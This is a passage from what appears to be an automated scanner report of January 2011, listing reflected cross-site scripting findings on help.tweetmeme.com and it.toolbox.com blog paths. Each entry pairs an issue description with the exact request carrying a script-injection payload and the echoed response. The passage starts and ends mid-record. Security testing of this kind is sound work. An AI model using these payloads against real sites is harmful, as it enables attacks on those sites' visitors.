The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f3e0"><script>alert(1)</script>71466c94826 was submitted in the REST URL parameter 4. This input was echoed as 3f3e0\"><script>alert(1)</script>71466c94826 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2009/04/09/twitter-feeds3f3e0"><script>alert(1)</script>71466c94826/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 15:05:32 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=u5kr3ba81i5sui0lphbs8feco5; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache X-Pingback: http://help.tweetmeme.com/xmlrpc.php Last-Modified: Tue, 25 Jan 2011 15:05:32 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 16236
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <input type="hidden" name="redirect_to" value="/2009/04/09/twitter-feeds3f3e0\"><script>alert(1)</script>71466c94826/"/> ...[SNIP]...
4.89. http://help.tweetmeme.com/2009/04/09/twitter-feeds/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://help.tweetmeme.com
Path:
/2009/04/09/twitter-feeds/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45199"><script>alert(1)</script>8351f254324 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 45199\"><script>alert(1)</script>8351f254324 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2009/04/09/twitter-feeds/?45199"><script>alert(1)</script>8351f254324=1 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0028"><script>alert(1)</script>fea05a9ad68 was submitted in the REST URL parameter 1. This input was echoed as f0028\"><script>alert(1)</script>fea05a9ad68 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contactf0028"><script>alert(1)</script>fea05a9ad68/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 15:03:24 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=dnv19aatav99j4f9pibtsp58n3; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache X-Pingback: http://help.tweetmeme.com/xmlrpc.php Last-Modified: Tue, 25 Jan 2011 15:03:24 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 16202
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <input type="hidden" name="redirect_to" value="/contactf0028\"><script>alert(1)</script>fea05a9ad68/"/> ...[SNIP]...
4.91. http://help.tweetmeme.com/contact/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://help.tweetmeme.com
Path:
/contact/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1468f"><script>alert(1)</script>2890b963226 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1468f\"><script>alert(1)</script>2890b963226 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact/?1468f"><script>alert(1)</script>2890b963226=1 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c426a"><script>alert(1)</script>ab1b8766548 was submitted in the REST URL parameter 1. This input was echoed as c426a\"><script>alert(1)</script>ab1b8766548 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /faqc426a"><script>alert(1)</script>ab1b8766548 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 15:05:19 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=6qomn42q02ru80d09qgl5bm125; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache X-Pingback: http://help.tweetmeme.com/xmlrpc.php Last-Modified: Tue, 25 Jan 2011 15:05:20 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 16192
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <input type="hidden" name="redirect_to" value="/faqc426a\"><script>alert(1)</script>ab1b8766548"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebe3d"><script>alert(1)</script>faac14f3f1a was submitted in the REST URL parameter 1. This input was echoed as ebe3d\"><script>alert(1)</script>faac14f3f1a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /forumebe3d"><script>alert(1)</script>faac14f3f1a HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 15:03:42 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=7rhr8ug8ulb1snerfp4d9dq5f5; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache X-Pingback: http://help.tweetmeme.com/xmlrpc.php Last-Modified: Tue, 25 Jan 2011 15:03:42 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 16196
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <input type="hidden" name="redirect_to" value="/forumebe3d\"><script>alert(1)</script>faac14f3f1a"/> ...[SNIP]...
4.94. http://help.tweetmeme.com/forum [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://help.tweetmeme.com
Path:
/forum
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e562a"><script>alert(1)</script>99f9c1b1735 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as e562a\"><script>alert(1)</script>99f9c1b1735 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /forum?e562a"><script>alert(1)</script>99f9c1b1735=1 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:02:37 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 20550
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US"> <head> <meta http-equiv="Content-Type ...[SNIP]... <input type="hidden" name="redirect_to" value="/forum/?e562a\"><script>alert(1)</script>99f9c1b1735=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9f738"><script>alert(1)</script>0141cb18ee4 was submitted in the REST URL parameter 1. This input was echoed as 9f738\"><script>alert(1)</script>0141cb18ee4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /forum9f738"><script>alert(1)</script>0141cb18ee4/forum/33 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 15:03:53 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=a8229kumo17amruah44grvptv2; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache X-Pingback: http://help.tweetmeme.com/xmlrpc.php Last-Modified: Tue, 25 Jan 2011 15:03:54 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 16214
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <input type="hidden" name="redirect_to" value="/forum9f738\"><script>alert(1)</script>0141cb18ee4/forum/33"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 393ca"><script>alert(1)</script>7d3c1bd86b was submitted in the REST URL parameter 2. This input was echoed as 393ca\"><script>alert(1)</script>7d3c1bd86b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /forum/forum393ca"><script>alert(1)</script>7d3c1bd86b/33 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 15:04:21 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Content-Length: 5493 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US"> <head> <meta http-equiv="Content-Type ...[SNIP]... <input type="hidden" name="redirect_to" value="/forum/forum393ca\"><script>alert(1)</script>7d3c1bd86b/33"/> ...[SNIP]...
4.97. http://help.tweetmeme.com/forum/forum/33 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://help.tweetmeme.com
Path:
/forum/forum/33
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67758"><script>alert(1)</script>39ac6fd433d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 67758\"><script>alert(1)</script>39ac6fd433d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /forum/forum/33?67758"><script>alert(1)</script>39ac6fd433d=1 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 15:02:55 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Content-Length: 6418 Connection: close Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US"> <head> <meta http-equiv="Content-Type ...[SNIP]... <input type="hidden" name="redirect_to" value="/forum/forum/33?67758\"><script>alert(1)</script>39ac6fd433d=1"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1c8d"><script>alert(1)</script>cecec83a76b was submitted in the REST URL parameter 1. This input was echoed as d1c8d\"><script>alert(1)</script>cecec83a76b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /languaged1c8d"><script>alert(1)</script>cecec83a76b/ HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 25 Jan 2011 15:03:36 GMT Server: Apache/2.2.3 (CentOS) X-Served-By: doveweb X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=d2p69qb6bfvb1r9mgfk42ek456; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache X-Pingback: http://help.tweetmeme.com/xmlrpc.php Last-Modified: Tue, 25 Jan 2011 15:03:36 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 16204
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <input type="hidden" name="redirect_to" value="/languaged1c8d\"><script>alert(1)</script>cecec83a76b/"/> ...[SNIP]...
4.99. http://help.tweetmeme.com/language/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://help.tweetmeme.com
Path:
/language/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf3ca"><script>alert(1)</script>0e9f8580517 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as bf3ca\"><script>alert(1)</script>0e9f8580517 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /language/?bf3ca"><script>alert(1)</script>0e9f8580517=1 HTTP/1.1 Host: help.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" cont ...[SNIP]... <input type="hidden" name="redirect_to" value="/language/?bf3ca\"><script>alert(1)</script>0e9f8580517=1"/> ...[SNIP]...
4.100. http://it.toolbox.com/blogs/database-soup [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/database-soup
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d69a7'-alert(1)-'c1a27e37df1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/database-soup?d69a7'-alert(1)-'c1a27e37df1=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61207 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:05:20 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Database So ...[SNIP]... aBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3ddatabase-soup%26d69a7'-alert(1)-'c1a27e37df1%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.101. http://it.toolbox.com/blogs/database-talk [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/database-talk
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a0d02'-alert(1)-'7a9deb3bef was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/database-talk?a0d02'-alert(1)-'7a9deb3bef=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63474 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:01:59 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Database Ta ...[SNIP]... aBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3ddatabase-talk%26a0d02'-alert(1)-'7a9deb3bef%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.102. http://it.toolbox.com/blogs/db2luw [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/db2luw
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f251b'-alert(1)-'af2755a203c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/db2luw?f251b'-alert(1)-'af2755a203c=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 62990 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:01:25 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> An Expert's ...[SNIP]... r != ctaBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3ddb2luw%26f251b'-alert(1)-'af2755a203c%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.103. http://it.toolbox.com/blogs/db2zos [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/db2zos
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a6998'-alert(1)-'a4d3ae29ef8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/db2zos?a6998'-alert(1)-'a4d3ae29ef8=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 78422 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:01:38 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Getting the ...[SNIP]... r != ctaBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3ddb2zos%26a6998'-alert(1)-'a4d3ae29ef8%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.104. http://it.toolbox.com/blogs/elsua [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/elsua
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e1a8f'-alert(1)-'473f3fe4b3a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/elsua?e1a8f'-alert(1)-'473f3fe4b3a=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 64515 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:01:38 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> elsua: The ...[SNIP]... er != ctaBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3delsua%26e1a8f'-alert(1)-'473f3fe4b3a%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.105. http://it.toolbox.com/blogs/juice-analytics [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/juice-analytics
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 602f7'-alert(1)-'c16e07e8cc1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/juice-analytics?602f7'-alert(1)-'c16e07e8cc1=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61930 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:02:49 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Juice Analy ...[SNIP]... tnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3djuice-analytics%26602f7'-alert(1)-'c16e07e8cc1%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.106. http://it.toolbox.com/blogs/minimalit [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/minimalit
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6fa7d'-alert(1)-'426dac5f4eb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/minimalit?6fa7d'-alert(1)-'426dac5f4eb=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 60162 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 25 Jan 2011 15:03:25 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Minimal IT: ...[SNIP]... = ctaBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3dminimalit%266fa7d'-alert(1)-'426dac5f4eb%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.107. http://it.toolbox.com/blogs/penguinista-databasiensis [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/penguinista-databasiensis
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 47ced'-alert(1)-'96af22e58e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/penguinista-databasiensis?47ced'-alert(1)-'96af22e58e=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
